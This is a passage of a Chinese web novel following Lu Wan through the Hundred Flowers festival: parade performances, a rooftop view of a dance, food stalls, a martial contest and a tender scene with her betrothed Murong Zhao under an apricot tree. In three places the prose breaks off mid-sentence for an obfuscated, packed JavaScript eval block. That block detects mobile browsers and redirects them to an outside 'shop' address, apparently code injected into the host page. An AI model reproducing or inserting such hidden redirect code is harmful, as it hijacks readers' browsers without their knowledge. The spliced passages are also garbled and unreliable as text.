进了御花园,行至一处石林间,却见慕容昭上前一步挡在她身前,忽然道: “陆绾,你其实并不喜欢我,是吗?” 慕容昭目光灼灼,可眼里的光亮顷刻间又暗淡下去,几乎是覆上一层朦胧的水雾。 陆绾不知如何回答,只道:“世子为何这么问?” 慕容昭深吸一口气,道:“我今日与太子长谈……感慨良多。大楚国风开放,在男女之事上也并无太多约束。可如今你我婚约已定,我慕容家男子一生只认一人。我恳求陆娘子,从前若有什么心上人还是露水情缘……还是断了吧。” 慕容昭身量魁梧,将陆绾挡了个严实,也堵得她心头冒火。 平心而论,燕王世子算个好人。无论是为官还是为人都挑不出错处。陆绾这些年再怎么算计东宫的人,也总绕开了这位大理寺少卿。可这话实在冒犯,陆绾不喜欢。 但陆绾面上的笑容不变,只是琥珀色的眼瞳里减了几分温度。 “世子放心,陆绾并无心上人。日后也不会有。至于婚约,既是天子下诏,并非你我能左右。” 果然不喜欢就是不喜欢,装不了太久就会被识破。 陆绾心烦意乱,再加上心里有气,说完这番话便钻入石林中,沿着记忆里的小路出宫。 慕容昭在原地愣了半晌,又像是释然地笑了。 11. 开宴 三月廿九,百花宴这一日,京城全民夜游,灯火彻夜不熄。 陆绾前一日赴了宫宴,百花宴当日和京城众人一样中午一觉睡到申正才起。 府内上下都要出门夜游,丹砂忙着给柜子上锁。画屏一边给陆绾梳妆一边道:“小姐,游园真的不能带上我一起吗?” 陆绾柔声道:“你丹砂姐姐带你。” 丹砂刚锁好最后一处柜门,闻言道:“怎么?跟着我你还不乐意了?放心,好吃的好玩的一样也少不了你的。” 画屏忙道不是,又去哄丹砂。 陆绾拿起桌上的荷花面具,解释道:“游园结伴的人多了反而都不方便。点翠要去杏区比武,我这次得陪她一道去。” 画屏一听是杏区,道:“李区的小吃都逛不完呢,我就不跟着小姐了!” 屋内众人笑作一团。 杏区尚武,也保留了一些江湖风气。入杏区者无论是观武还是比武,都需戴面具。若面具为金属材质,则杏区内任何一个路过的行人都可向他比试;若是陶瓷面具,则无需参与比武。侯府所在辖区被划入桃区。 对于不会武的画屏来说,杏区可不在她的兴趣点上。 陆绾的武艺多年不练,也不太想被人拦下比试,便准备了白瓷彩绘面具。 公主府在城西,所在辖区被划分为梨区。陆绾没兴趣品鉴文人斗诗,更不想在梨花榭撞上那位王公子,便拉着点翠直奔城东桃区。 “百花宴酉时开宴,桃区有一场游街表演,岂能不凑这个热闹?”陆绾道。 点翠一身银灰色劲装,腰间配着双剑,银面具遮住了眉眼。看着倒与往日大不相同,颇具游侠气韵。 陆绾也配了剑,不过是防身用。 游街表演的节目由天子亲自敲定。一般来讲有四个板块:仙风道骨、世家美谈、江湖名士、布衣英才。每个板块一个节目,故事主角需用近三十年的人物事迹,因而每次百花宴的节目都不同。 游街一共三场,都是这四个节目,由教坊司的人在桃区出演。酉时初开宴一次,转钟时一次,丑时末闭宴一次。 陆绾正与点翠介绍,忽而听见不远处传来锣鼓声。 正是酉时初,第一场游街表演开场了。 桃区众人循着锣鼓声从四面八方涌入游街起点的街口。陆绾凭借着前几日背下的百花宴舆图,拉着点翠钻了几条小巷,总算挤进了前排。 教坊司的人向四处散开,以免众人靠得太近,中间留出一块空地。 空地中的艺人银发如瀑,一身道袍,手持玉瓶,瓶中几支落雪的红梅。 “玄贞道长,是不是她?” “虽然活了两三百年,但确实是三十年内仙逝的,上百花宴也合规矩。” 围观人群一阵熙攘。 陆绾附在点翠耳边道:“这妆容仿得可真像!就是玄贞道长。” 那“玄贞道长”从玉瓶中拈起一支红梅,缓步踱了一圈,忽而定住,将手中红梅枝当做佩剑舞了起来。 这是在讲玄贞道长自创的红梅剑法,也是陆绾当年在灵虚观随公主所习的剑法。 剑法并不外传,因而剑舞并未复刻剑法,只是为了观赏性新编的舞蹈。 一舞毕,红梅收入瓶中。教坊司的人搬来两架扬琴伴奏,“玄贞道长”朗声唱道: 我欲乘风九万里,奈何故土目疮痍。 红梅不争春光艳,功成又入仙山去。 “这讲的是咱们大楚建国那时候的事了吧?”陆绾旁边一人道。 陆绾随口答道:“是,大楚建国时,灵虚观曾倾全观之力相助,玄贞道长就曾立下赫赫战功。” “我小时候听我爷爷讲过,就是他们那辈的事。我爷爷年轻时还上过战场呢。”一妇人道。 一书生模样的中年人点评道:“为国效力,功成身退,是我大楚独有的仙风道骨。” 陆绾心中默叹道,确实是仙风道骨。她虽然与道长接触不算太多,也并非道长认下的弟子。但道长于她有过救命之恩,更是公主的恩师。 玄贞道长仙逝那年,陆绾是很难过的。 一个总以为还有很多时间相处、还没来得及去亲近的长辈,就这样猝不及防地离开了,再也见不到了。 那是陆绾第一次直面他人的生死。 “小姐莫要太过伤感。”点翠察觉到陆绾眉眼间的愁绪,安慰到,“这个节目结束了,人都走了,我们快跟上。” 教坊司的人列成两队并排而行,最前一人敲锣开路,道:“下一幕请往西行——” 沿路奏乐声由幽远清雅逐渐化为婉转柔和,仿若情人低语。 众人跟着一路向西,经过两个路口后停下,到了殷家的桃花楼前。 一身姿绰约的美貌女子推门而出,随后是一人身着紫色官袍。 人群中有人道:“这可是宰相的官袍!” 那“宰相”道:“女儿,滕王一心求娶,你为何不愿?” 围观众人炸开了锅:这是管相的女儿管珂,而这宰相口中的滕王,正是当今圣上。 那女子咿咿呀呀地唱了几句戏文,是江南那边的吴语,软糯婉转,勾得人为之心荡。陆绾从小在京城长大,听不懂具体唱的是什么。但大概意思大家都能明白。无非是我钟意陆郎,纵是王妃之位千尊万贵,也抵不过我心磐石之类的话。而管相唱的无非是些老生常谈的话。 “真是个有主见的女子。”围观者纷纷道。 大楚民风开放,婚姻之事虽是父母之命,民间却尊崇青年男女的自由意志。白身之人看对眼了便是一生,高门大户则有诸多顾虑。 世家间的自由爱情,反倒稀奇可贵。 不知何时,几个小厮搬来了一架山水屏风,屏风后钻出一长身玉立的青年,这便是文信侯陆传正。 “陆传正”怀抱箜篌,“管珂”和乐而舞。 才子佳人双宿双飞的故事永远是民间传唱的经典,没有人会不喜欢完满的结局。 “真是登对,滕王再好也比不上人姑娘喜欢。” “要是有姑娘能这么坚定地要嫁我,我做梦都要笑醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385979|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “去去去,你几斤几两,还做上白日梦了。” 氛围一片喜庆轻松,这时不知谁道:“话说……圣上竟然唱了反派的戏,这剧本是怎么过的审?” “百花宴的节目单可是天子钦定的。别把圣上想的这么小心眼。”一人道,“陆侯好歹是他哥哥的少时同窗。” 从前民间有传闻天子嫉妒文信侯,因而文信侯之死是为情杀。经这一番,人们又想起这个古早的传闻,话风却变了样。 “怎么可能是情杀呢?能定这个节目单,天子定是放下了。看殷将军的威势,帝后恩爱着呢。” “是啊是啊,圣上英明!没有圣上便没有盛世,又何来百花宴?” 陆绾一笑置之。 天子宗室爱干这种事。该干的恶事一件不少,明面上还得修补成大善人。赐婚是这样,关于她父母的流言也是。若是真的在乎文信侯的名声,陆绾不信天子还压不下一个小小的民间流言,非要等到三十年一度的百花宴大演特演。 晃神间,锣鼓再次奏响,人群又跟着队伍浩浩荡荡向北去。 下一目是江湖名士,这次的主角是当年名震大楚的杏姑。 那是上一届百花宴,正正好三十年前的事。 那时的杏区明面上不许女子入内,就算是江湖女子,也得穿上男子的行装入场。 可那年不知怎么着混进去了一位手持双剑的红裙女子。 有人问那女子江湖名号,那女子将剑指着身旁的一树红山杏道:“杏姑。” 没有人向一位身着裙装的女子提出比试,她便拦下过路的每一位行人。 杏姑身段轻盈,剑法凌厉,战无不胜。双剑所过之处寒风尽起,嫣红的杏花瓣也被一并卷落,威力与美观兼具,不出一个时辰便在杏区名声大震,惊动了当时的杜家家主。 杜家以杏姑身份不和规矩偷渡入园为由,遣派数十人捉拿,将其关入杏花林私牢。 与杏姑比试过的燕王慕容冲只身闯入牢中将重伤的杏姑劫走,又上书朝廷,自愿为此事远派边疆。 杜家家主被革去官职,判了几年刑。杏区也废除了女子不得入内的规定。 不过此后,江湖也再无杏姑的消息。有人说她是重伤难愈,也有人说她做了燕王的王妃。 点翠感叹道:“要不是这位杏姑前辈勇闯杏林大闹百花宴,我今日不会有入杏林比武的机会。” 可惜围观者的话题大多落在结尾的英雄救美上,接着又转到这位燕王的儿子,如今身居大理寺少卿一位的慕容昭身上。 眼见着话题就快要转到慕容昭的未婚妻,陆绾自己的头上,陆绾拉着点翠道:“还没上过场的人估计是最后一目的演员了。看着估计是讲房太傅如何位列三公。我们走吧。” 这种讲书生飞黄腾达的节目众人兴趣也不大。一无佳人佳话,二无打斗歌舞。只有没完没了的诗词唱文,围观者只剩书生看得起劲。 桃夭的伞舞估摸着也快开始了,两人穿出人群的层层包围圈,直奔桃区正中的桃花楼去。 12. 游园 桃花楼建于一处小湖上,沿湖的小矮楼便充当桃花楼的围墙。主楼位于湖心略偏东的位置,由水上连廊直通湖边小楼。 殷家在湖中心还额外筑了一道小堤。桃花沿湖而开,又从这道小堤穿湖而过。湖水不起波澜,漂浮其上的粉色花瓣只映着点点橘红色的灯火。 陆绾本想带着点翠上主楼露台一观,毕竟殷家桃花楼平日里可不好进。再加之桃夭便在那露台正中,去露台才好近观。可到了水上连廊远远一瞧,露台上端坐着一红一紫一蓝三个身影,正是公主、秦王与太子。 上去了难免又要一番应酬,陆绾顿时对露台不感兴趣了。 点翠向四周望了一圈,嘴角微扬,伸手拉住陆绾的胳膊道:“小姐随我来!” 说完脚尖轻轻一点,带着陆绾跃上矮楼的屋顶。 理好裙摆坐下,一树树桃花便如云霞般团在脚下。此处离露台虽远,好在清净雅致,观舞别有一番风味。 桃夭姑娘今日一身水红色丝裙,头发也挽了个漂亮的高髻。她在露台上有一处专属的八角形舞台,其中四面围着四景屏风,花伞上缀满桃花,伞下系着几尺长的红绸。舞动时红绸飘飖,落英纷飞。 陆绾心道:桃夭姑娘的臂力和耐力也算得上是千里挑一,普通的舞女根本舞不动这样重的伞。那日带着兜帽的剑客若真是桃夭的师妹,今日估计也会入杏区比武。 一舞毕,整个桃花楼都是叫好声,就连桃花堤上也站满了伸着脖子张望的游人。 “欸?堤上那些红绸是干什么用的?”点翠眼尖,用剑柄指着桃花堤道。 堤上的桃花树,果然都系满了红绸。还有不少年轻男女对着花树双手合十,虔诚祈祷。 陆绾站起来仔细眺望一番,回忆道:“我记得光禄寺往年的宴席记录有提到过,百姓会把祈愿的福牌挂到桃树上——不过,向桃花神求的多半是姻缘。” 整个京城最浪漫最适合求姻缘的地方就是两处,一处是殷家桃花堤,另一处是联通连同杏区和梨区的空中紫藤空中游廊。 不过空中游廊更多是相看的男女。梨区和杏区一文一武,女子若是看上了哪个才郎,便会把他约到最近的紫藤游廊上。桃花堤更像是年轻男女幽会的场所。歌舞雅又不至于太雅,什么人都能看上一看品上一品,不像诗词武艺。 “小姐要去吗?”点翠问道。 点翠对于情爱一事不太通窍,但能从丹砂的反应里大概猜到,小姐与世子除却联姻关系,应该还是有那么一点不一般的。至于是怎样的不一般,谁对谁不一般,就不是她目前能想明白的了。 陆绾想到昨日与慕容昭在御花园内不欢而散,叹道:“我就不必了。我已有姻缘,又何须再求?求来只是徒增烦恼。” 从前她寄人篱下,偏又生的姿容绝艳,惹来不少目光。她从来不稀罕这些目光,也无心风花雪月,甚至想好了要赖在公主身边做一辈子女官,不成婚也没什么所谓。 可偏偏天降姻缘。 她该求什么呢?求“君心似我心”吗?可她本就对燕王世子无意。求“郎君对我情根深种,独爱我一人”吗?她倒是想套牢慕容昭,但不是图他的情谊,而是图他本人。 如果能将光风霁月的大理寺少卿收入自己麾下,一来不用愁有朝一日清算东宫一党左右为难,二来此人确实是不可多得的能才。 从前几日没有细想,忙于光禄寺公务与昔日旧案,只见了人才临时想到要顺水推舟,以致于被世子当面戳破。可往后又该如何相处呢? 陆绾想得头大,不知道为何又把自己绕了进去。索性躺倒在屋瓦上,每月廿九几近无月,只有漫天繁星闪得人目眩。陆绾只得又拿手肘遮了眼。 春风裹着几片花瓣扫过她的面颊,捂住眼睛,才注意到屋瓦下的热闹纷繁的人声。 陆绾心道,平白无故又想这些做什么?此刻烦心的不该是她,该是单恋意中人的世子才对。 点翠本默默坐在一旁,见小姐一脸愁容又忽地躺下,终于忍不住道:“小姐,你还好吗?” 陆绾撑着瓦片起身,拍了拍裙摆上的尘埃,转身面向点翠时已是一副轻松自得的笑颜。 “我肚子饿了。走,我们去李区吃好吃的去!” 李区向来是是百花宴最热闹的地方——但凡荷包里有几个子的,无论男女老少,总要来这里逛上一圈寻些平日里难得一见的好吃的。街巷内摩肩接踵,叫卖声此起彼伏。每家摊前都点上了花灯,游人手里也提着。整个李区可谓是亮如白昼。隔几个路口就有公用桌椅,人多也就不讲究座次席位了。多半是喊一声“可坐否”,趁着没人反对便赶紧坐下。 陆绾没去挤座,沿路过来一边走一边吃了一份蒜蓉虾、一份辣串、一碗甜豆花,眼下又瞧见了最爱吃的蒸米糕。 只可惜陆绾戴着面具,卖蒸米糕的婆婆生意又忙,没能认出来。 陆绾将五瓣梅形的米糕捧在手心,左右手来回颠着吹气,忽而听见一人道:“陆娘子?” 蒸米糕烫手,陆绾捏着荷叶将它重新包起来,这才看向来人。 程筠特地穿了一身红色长袍,颜色亮丽,并无过多纹饰。一手提了一盏八角花灯,另一只手里提着两包蒸米糕。 “程卿?你怎么没和公主一道?”陆绾摘下面具,稀奇道。 公主府的程筠总是一身白衣,看着像下凡的仙人,今日这身倒有些俊俏公子的意思了。 程筠眉眼弯弯:“我为何要一定要与公主一道?陆娘子怕是误会了什么。” 程筠是公主忽然提拔上来的,为的就是给陆绾减轻负担。有不少人见着程筠与公主多次同进同出,传出些风言风语,陆绾也听过,但很快都被她和公主压下去了。 公主还为这事找过程筠,怕他听了流言心里难受,陆绾也是知道的。 陆绾忙摆手道:“不是不是,我没有那个意思!” 程筠这才见着陆绾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385980|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里也提了一块蒸米糕,道:“看来我又来晚一步。刚处理完府中事务就来买这蒸米糕,听说陆娘子爱吃便多买了一份。谁知陆娘子自己买了。” 点翠问道:“请问程公子,府内今日是发生了何事?” “也没什么,不过有消息来报,方老板逃了,应是慕容少卿有意放人。”程筠说着,又转向陆绾,恢复了严肃的神色,“典簿怎么看?这人油滑,又知道些秘密,要不要派人追去杀了?” 慕容昭放人,说明方老板虽有参与但涉案不多,慕容昭才能顺手卖这个人情。参与过秦王的谋划,又被大理寺网开一面。这人用不着公主府杀,秦王或者殷家自会处理。 陆绾向来不做多余的事,能借他人之手的就万万不会自己动手。派人追杀实属多余。 “自有人会去杀她。”陆绾道,“不过我们要派个人暗中跟她。她死了是最简单的,若是殊斗一番没死,让我们的人去救。” 程筠了然:“看来典簿有把握收服此人。她知道徐嬷嬷的身份,若是能对公主府忠心,也算是有用之人。” 陆绾点头:“只是这些天,徐嬷嬷的安危需格外小心了。” 程筠道:“典簿放心,此事我已在出门前办妥。我挑了两个面貌齐整的暗探塞到嬷嬷身边充作小倌,出不了差错。” 陆绾又想起前日去紫霞楼公主那副硬装的土老板相,还有自己板着脸装冷面侍卫的情形,不禁噗嗤一声笑了,后来竟是越笑越开,前仰后合差点停不下来。 程筠呆了呆,不知陆绾为何而笑,只觉那笑声不绝于耳,竟盖住了摊贩的叫卖和一旁孩童的笑闹。 笑了好一阵,陆绾重新带好面具,道:“程卿今日这身红袍衬得气色真好。我还要陪点翠去杏区比武,就先别过了。” 陆绾转身去拉点翠,还没走出多远,就听见人群中另一道熟悉的声音。 “世子只托我来买米糕,我是真不知道他在哪啊!”余阳正朝一位青年道人无奈地摊开双手,哀叹道。 点翠仔细瞧了瞧那位道人,在陆绾耳边道:“是尘星道长,我们要过去吗?” 尘星道长还是拿着他的拂尘,和拂尘的长穗一并垂下的还有一盏宫灯。 不过道长的神色看着不大妙,陆绾决定不去触这个霉头。 “打扮得跟个花孔雀似的,肯定要找开屏的地方。说了不许去杏区,这小子必是偷偷溜去了。” 尘星说着甩了甩拂尘,从怀里摸出两个面具,反手扔给余阳一个。 “去找人。” 余阳忙戴上面具,追着道长走了。 陆绾心道,慕容昭这个人还真是有点意思。堂堂大理寺少卿,难得一派天真。先是放走了紫霞楼的方老板,又背着道长偷偷溜出去比武。先前观他堂审,也不像是没长脑子的人,怎么净做这些稀奇事。 陆绾摇摇头,对点翠道:“我们也走吧,人家的家事我们不太方便掺和,就当没看见了。” 13. 比武 “朱牌二百三十五,墨牌五十四。”杏区边界的守卫声音嘹亮,手脚麻利地给陆绾、点翠发牌登记。 戴瓷面具的发朱牌,普通的木头腰牌,上边用黑墨水编号。戴金属面具的发墨牌,上边的字用银镀。 杏区内有许多江湖人士,百花宴便约定杏区比武者彼此以假名相称。但若是真的出了事,按照腰牌的编号去入口处的登记簿子上查,还可查出具体是谁。 陆绾接了朱牌别在腰间,向守卫点头一礼,缓步带着点翠进了杏区。 “点翠,接下来可就是你带路了。”陆绾道,“你念叨了好久的,想和谁比直接上就好,不用顾及我。” 杏区的摊贩很少,只有几个戴着面具卖酒的老翁,路要留出来给人比武。点翠刚一进区,就有一人从屋顶跳落,稳稳落至二人跟前。 “鄙人灼华,可否向姐姐讨教一二?” 这位也是个女侠,一身玄色短袍,剑袖扎进连指的护腕内,抱剑向陆绾二人拱手一礼。 点翠略一拱手,拔出腰间双剑跃上屋檐。 陆绾立于街面正中,仰头看屋顶的刀光剑影。点翠一手一剑,这双剑的剑法是她自己在红梅剑的基础上改的。这剑法境界就连公主都要甘拜下风。公主曾试着学过点翠的剑法,可左手实在难练,不如专精右手。 点翠的双剑快而厉,檐下冷黄的灯笼给她银灰色的胡服染上一层浅金的光晕。灼华剑招凝滞,每一招都似千钧之重。陆绾看着灼华的招式也觉得有些眼熟。单足点地、剑身平扫,陆绾总觉得灼华手上拿的不应是剑,应是一柄花伞。 约莫一刻钟,双剑逼至灼华面门,灼华一个后仰避开,顺势翻下屋檐。 点翠亦收剑跃下,拱手道:“我号侠青,承让!” 灼华面上虽无笑容,语气里却是十成的敬重,道:“有幸领教侠青姐姐的双剑,灼华甘拜下风。” 随后转身离去。 陆绾望着灼华的背影思索道:“桃夭,灼华……这位侠客看着倒有点像和桃夭师出同门。” 而且,还像之前在紫霞楼前见过的那位女侠。 点翠点头:“她的招数就是那套伞舞,确实是很厉害的武学。若不是我来之前看过桃夭姑娘的伞舞,兴许还破不了她的招式。” “那也是破了。看一遍就能破,也是你的本事。”陆绾道,“走吧,你一直惦记着来比武,往日在宫中、府内多有不便,今日一定要比个尽兴。” 两人走在青石路上,陆绾倒是悠闲自得,点翠则是按着剑柄四处张望。杏区内游人不算太多,比武者大多直奔杏花台,在擂台上集中比武。偶有刀兵声隔着街巷间的黑墙乌瓦传来,便是游走街头的少数互相看对了眼,当场发起挑战。 点翠自然也是要去杏花台的。 杏花台是杜家的居所。杜家的房屋是万字型,中间围出的一片空地当中插了一面杏花旗,便是擂台。 擂台上有人交手,两人便同其他游人一并站在围廊上观武。 台上其中一人身着碧色珠光袍,用金冠将头发高高束起,发尾恰巧扫在肩头。 此人手持横刀,步履稳健生风。擂台上的杜家女一柄红缨枪直刺他□□,被他一个跟头躲开,反用横刀制住。 “好!”围廊爆发出一阵掌声。 陆绾这才看见这人正面。鎏金面具,圆领袍前襟右半用了墨绿布料拼接,胸口一只金灿灿的九头神鸟,腰间还挂了一只浅青色的香囊。 是慕容昭! 慕容昭用横刀压着杜家女的红缨枪,围着擂台在地上划了个半圆。枪尖与地面磨出点点火星,声音刺耳,令人胆寒。 众人都紧盯着杜家女那只弯到几欲折断的红缨枪。慕容昭却忽然卸力,枪身反弹。杜家女踉跄几步,又见慕容昭的横刀当头斩下。 一时间长枪脱手,横刀已架在颈侧。 顿时掌声雷动。 慕容昭收了横刀,声音轻快嘹亮:“杜家小姐,方才多有得罪。” 杏区只有杜家人不戴面具,杜家每年都会有一位镇守擂台之人。今年便是杜寺卿的女儿,杜容。 杜容冷哼一声,撇嘴道:“罢了罢了,这擂台守了这么久,也没见着该来的人。我走了,你们自便。” 说罢长臂一挥,径自下台去了。 点翠奇道:“我还道杜寺卿那种没能耐的,只能养出恋慕秦王皮相的痴女。没想到杜容功夫竟然不错,也是个输得起的。” 陆绾听了这话,无奈笑道:“秦王今夜若是敢来杏区,恐怕得对上杜娘子的红缨枪了。” 擂台上,慕容昭解下腰间的水囊灌了口水,拿箭袖轻轻贴了贴嘴唇,擦干了水渍。 慕容昭收好水囊,再一抬头,看见不远处围廊内灯火下一抹青色的身影。 天青色的珠光流仙裙上罩着一匹碧色荷花披帛。这披帛和他身上的圆领袍裁自同一块珠光布。 慕容昭仿佛已经闻见了清幽的水莲香,和青色的流仙裙一样轻盈澄澈。 他提着横刀,对四周围廊内的人笑着大喝道:“有谁要来!” 围观者蠢蠢欲动,陆绾却听见一青年冷声低低斥:“胡闹!” 陆绾闻声望去,不知何时,尘星道长已站在她几尺远的地方,同样看着擂台的方向。 陆绾示意点翠上台,随后走到尘星身边,屈膝行礼:“道长,小女陆绾。” 尘星这才收了怒容,和蔼道:“陆小娘子多礼。” “道长似乎不愿世子守擂台比武。”陆绾试探着问道。 尘星道长引着陆绾走到一处无人的角落,正了正不太贴合脸型的银面具,道:“陆小娘子有所不知,燕王与杜家有些过不去的恩怨。燕王在信中再三叮嘱,不许世子入杏区比武。实在是因为……慕容家与杜家不适合再有新的纠葛了,最好就是互相避开,旧事不提。” 说完,尘星道长摇摇头,语气颇为抱歉:“让陆小娘子看笑话了。” 这大概说的就是三十年前燕王劫走杏姑一事了。陆绾多少也听过一些,虽不知其中具体曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386848|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折,却也知若是放在江湖上,这样的事情只怕要结成世仇。 燕王害当年的杜家家主丢了官职,一生再也不得为官。慕容昭如今又早早将杜家女赶下擂台。日后若是杜家人记恨慕容昭暗中使绊子,陆绾都不觉得意外。 杜家三十年前的行径确实为世人不耻,犯的错也是板上钉钉。但谁又能说得清杜家是真心悔过还是暗中记恨? 燕王远在幽州,鞭长莫及,世子一时半会儿却是跟不去的,只能留在华京。尘星道长不愿世子入杏区比武,合情合理。 陆绾道:“我知道长忧心。可我观世子也并非鲁莽无智之人。世子既执意要来,应也有他的考量。” 若换作是她,三十年一次的比武盛况,她也会来的。世仇又如何,小人固然阴险,却不能因小人畏首畏尾。 陆绾再次屈膝一礼,随后向擂台深深望了一眼,离开围廊。 她在一处卖酒的老翁那买了一碗杏花酿,又买了一支竹笛,寻了一颗挂满冷黄灯笼的白杏,翻身一跃倚上粗壮的枝桠。 杏花开时无叶,花萼鲜红,花瓣全开时则是雪白纷扬。陆绾找的这颗还算粗壮,只是簌簌地落了些花瓣,宫灯下的铃铛响了几声,就稳稳拖住了陆绾。 这竹笛做工平平无奇,但手边只有它了。陆绾将笛子放在唇边试了几个音,都是准的。 吹首什么曲子呢? 要让慕容昭一听就知道是她。 不知过了多久,陆绾觉得有些渴了,将竹笛收入袖中,解下佩剑,用剑鞘去挑地上那碗未喝完的杏花酿。 霜白的花影间,陆绾瞧见树下站着一人。 那人抢先一步拾起地上那碗酒,一饮而尽。 “世子,那可是我的酒,我喝过的。”陆绾拿剑鞘指着树下之人,玩笑道。 鎏金面具在冷黄的灯火下有些过于耀眼,遮去了慕容昭大半张俊俏的脸,只露出一双眼睛两片红唇。 唇上沾了酒,是润的。 陆绾见慕容昭不搭话,扶着树干起身坐直,又倾身向下探,想离他再近一些,好看清他的神情。 臂上的披帛在这番动作间滑落。料子太滑,陆绾一时捞了个空。 那披帛在空中几番蹁跹,最终落入慕容昭臂弯内。 慕容昭放下酒碗,一跃而上。 陆绾收了双膝避开,慕容昭正好踩在她刚才搁脚的地方。 杏树骤然承载两人的重量,很是晃悠了一阵,枝丫上宫灯摇晃,铃声阵阵。 最终,慕容昭与她相对而坐。 他的唇上不知何时沾了一片白色的杏花花瓣。 陆绾盯着那花瓣瞧了片刻,鬼使神差地伸手把它拈了下来。 花瓣上还沾着酒香。 愣神间,却听慕容昭道:“陆娘子,你是来赶我走的吗?” 吹笛子确实是想要他来寻她,但她并不是想赶他离开杏区。 陆绾盯着鎏金面具下那双情绪难明的眼睛,柔声道:“是你自己来的,我不会赶你走。” 14. 情人 慕容昭摘了鎏金面具,直直地望进陆绾双眼,哑声道:“杏姑是我母亲。” 这还真是世仇。 陆绾一时愣住。 杏姑做了燕王妃,这个猜测在坊间也有流传。但传闻、猜测与慕容昭亲自对她说出口却是两回事。 人大概总有那么几个瞬间,想要把藏在心里很久的秘密告诉另一个看起来还算靠谱或者意图亲近的局外人。 陆绾猜世子现在就处于这样的瞬间。 她也低头将荷花面具摘了,认真道:“你母亲……她还好吗?” 大概是不怎么好的,不然江湖上怎会突然没了杏姑的名号。 慕容昭将绕在自己身上的荷花披帛拉下来,慢腾腾好一会儿,才道:“母亲在我七岁那年就死了。” 陆绾愕然,随即明白过来。想必是王妃故去,燕王才舍得把世子放回华京。 慕容昭又道:“父亲和母亲很恩爱。父亲为了医母亲的身子求着师父做王府的幕僚,可惜母亲伤得太重,医治十年才有了我。师父说,我母亲能多活十七年,已经是奇迹了。” “……世子节哀。”陆绾垂眸道。 “慕容家是大楚唯一的异姓王。只因开国时祖父率北部归顺,又练出了大楚的第一支军队。父亲自放边疆,某种程度上也算因祸得福,没有等到皇家的清算。”慕容昭道,“师父不让我来,我能明白。如今的杜家家主也并非三十年前的那一脉,若是敢报复到我头上,我一定是要还回去的。” 陆绾的父母就没有这么幸运了。同样是有情人终成眷属,但管氏的父亲位居宰相,文信侯又是太子圭的伴读。若即位的是太子圭,一切都还好说。可偏偏太子圭死了,最后上位的是滕王。 但陆绾最终什么都没有说,只道:“我在围廊见过了道长。我想见你,只想和你说,如果是我,我也会来。” 慕容昭定定地望着她。 “你母亲若能看见今日的杏区有这么多女子自在地比试,会很高兴的。”陆绾道,“她看见你在杏区大放光彩,会很骄傲的。” 慕容昭脸颊上隐约有些红晕:“你其实……不必和我说这些的。” “这不是作为未来的世子妃说的话,是陆绾自己想说的。”陆绾道,“披帛攥了这么久,是不是该还我了?” 慕容昭这才意识到,自己已将手上的荷花披帛捏皱了。 倾身上前之际,杏树的枝干终于不堪重负,咔嚓一声折断。 是陆绾身后的那一根枝干。陆绾眼疾手快地用剑将枝干上的宫灯挑了,却没料到身子一歪。 眼看着就要仰面翻下去,一道碧色披帛兜头罩下,最终绕过她腰间。 慕容昭将披帛一拉,跳下杏树,捉住了陆绾的腰肢。 双足落地之时,陆绾惊魂未定。慕容昭撤了扶在她腰上的手,只虚虚地拢着,随后将披帛重新搭上她的臂膀。 杏树断了一条枝丫,剑尖的宫灯完好无损。 她为什么要捞这盏宫灯呢?当时脑子里到底在想什么? 陆绾看着宫灯冷黄的光晕发愣。 半晌,将它系在竹笛一端,权当提在手头的花灯。 虽然这灯比花灯小上许多——毕竟是挂在树上用的。只有四个面,也无任何繁杂新奇的纹饰,头上的木雕仿的屋檐。 “我还有话没说。”慕容昭看着陆绾挂好宫灯后,直白道。 陆绾又看向他。 “我比武比够了,想邀陆绾同游,不知她是否同意。”慕容昭道。 原来是这个。陆绾之前猜测宫宴结束后,慕容昭会邀请自己同游,结果没有。现在邀请也不算晚。 “陆绾现在不饿,李区太挤。陆绾想去看看梨区——不过梨花榭就不必去了。” 因着太后的关系,陆绾去过几次梨花榭。没必要在百花宴上去和人家挤。 不同于李区红火一片,梨区的灯笼都是淡雅的米色,暖银色的光晕不太亮堂,却符合文人的喜好。 这里用的灯笼烛是最贵的——不然烧不出暖银色的光晕,因此卖花灯的小铺生意也最好。 陆绾和慕容昭走的连接梨杏两区的情人廊,廊上就有不少卖花灯的小贩。 “姑娘,要一盏灯吗?”卖灯的小伙子见陆绾衣着不俗,定是富贵人家出身,忙捧上做工最精致的几盏花灯迎上来。 “可惜了,手上已经有了一盏。”陆绾望着小贩手里各式各样画有花鸟或书法的花灯随口叹道。 话音刚落,慕容昭已将她手里挂着灯笼的竹笛接过。 